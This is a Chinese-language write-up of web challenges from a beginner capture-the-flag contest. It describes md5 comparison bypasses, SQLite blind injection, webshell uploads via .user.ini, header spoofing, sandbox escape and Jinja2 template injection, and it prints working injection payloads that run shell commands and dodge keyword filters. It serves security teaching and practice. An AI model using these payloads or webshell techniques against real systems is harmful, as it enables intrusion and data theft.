HXCTF-WEB
HXCTF-WEB
最近打过的最新生的新生赛,单说web方向,难度挺适合学过一些的新生,除了每日任务的任务2有点小脑洞,测测你的🐎的有点奇奇怪怪以外都还挺好的,刚开始正好没早八就打了打拿了几个血,但后面意识到抢小登的血有点不太好,加上后面几天比较忙也就没有再看了,趁着周末有空把WriteUp简单写写
ez_md5
访问环境获得源码:
1 |
|
满足三次判断即可:
$a!==$b && md5($a)===md5($b)强比较判断,数组绕过即可,传
?a[]=0&b[]=1$c!==$d && md5($c)==md5($d)弱类型比较,但是被(string)转为字符串,数组绕过失效,但可以0x科学计数法绕过,传
c=QLTHNDT&d=QNKCDZO类似的还有
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
240610708
0e462097431906509019562988736854$love!==$ctf && md5($love)===md5($ctf)强类型比较,并且被(string)转为字符串,数组绕过,科学计数法绕过均失效,可利用fastcoll强哈希碰撞
可任意传参给shell_exec(),但是shell_exec本身没有回显,将命令执行结果写入可访问文件再读取即可,完整EXP:
1 | import requests |

ez_upload
文件上传界面,正常文件上传测试无果,但是注意到:

sqInject.php提示似乎存在sql注入,在图片读取位置单引号会引发报错:

sqlmap测试存在布尔盲注,且后端数据库为SQLite

打SQLite的布尔,盲注即可,以下脚本:
1 | import requests |

我们一起来下棋吧
flag就在源码,开发者工具的快捷键被禁用了手动打开即可:

新人来爆照
同样的文件上传类题目,使用nginx部署:

fuzz测试为白名单后缀,但是.ini后缀也被允许,同时会对文件头进行测试,且被上传的目录存在php文件,那么使用.user.ini配合图片马即可解析getshell
先上传图片马:

上传路径:uploads/56ced6c08d51b21204b1f0e6d6e21e78/index.php
再上传.user.ini:

上传路径:uploads/93bb9219c9a053ef87e78b329dc77f4c/index.php
蚁剑连接即可:


每日任务

依次将请求方法设置为POST,X-Forwarded-For请求头设置为127.0.0.1,User-Agent请求头设置为GZCTFBrowser,Referer设置为hxctf.challenge.game即可:

然后这个自定义请求头稍微有点脑洞了,实际上是将LOVE-CTF设置为TRUE:

intval($year) < 2025 && intval($year+1)>2026的判断使用科学计数法即可绕过:

参考https://blog.csdn.net/qq_45521281/article/details/105871192

只要求数字,先随便传一下:


is_numeric($_GET['gic'])并且intval($gic)并且!preg_match("/[0-9]/",$gic),gic传数组干爆preg_match即可:

解一下base64就是flag:

完整EXP:
1 | import requests |
测测你的🐎
超级waf,什么都上传不了,根据提示fuzz一下后缀,发现.html可上传:

但是html本身不会解析php马,并不能getshell,但是访问文件上传的目录,发现也有个index.php(话说为啥上传文件的目录会还有一个和根目录下一样的index.php啊喂):

不同点在于waf没了:

那么再进行一个什么过滤都没有的文件上传即可:


玩玩你的机-1
有一个意义不大的人机验证码,passphrase可以执行python命令,看来是一个沙箱逃逸相关的题目:


存在waf,这里可以写脚本测试哪些关键词被waf了,但是我比较懒加上题目不难就选择手测了:
测试过程:

玩玩你的机-2
同上,多了些过滤,把fban了,通配符绕过即可:

表白墙

回显和输入相同,疑似ssti:
输入49回显49,存在ssti
fenjing梭哈拿到shell:


随便输
附件给到源码:
1 | from flask import Flask, request, render_template_string |
/challenge路由中cmd参数可控,未过滤{与},一样存在ssti:

但是没有回显,只会提示执行成功,fenjing不能直接梭哈了,这里我就选择使用响应头回显,参考SSTI无回显处理(新回显方式) - E4telle - 博客园
文章中payload直接拿过来:
1 | {{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}} |
__init__被过滤,那替换lipsum.__spec__.__init__.__globals__为g.pop.__globals__一样可以拿到sys;
而cat,flag,/被过滤,且无法使用*,?通配符绕过,那么可以考虑使用字符拼接绕过关键词过滤,例如'cat'改为'ca'~'t','flag'改为'fl'~'ag',而/被过滤,不能直接cd /,那么cd ..;cd ..;cd ..一样可以达成目的,所以最终payload为:
1 | {{lipsum.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,\"server_version\",lipsum.__globals__.os.popen('cd ..;ca'~'t fla'~'g').read())}} |
完整EXP:
1 | import requests |
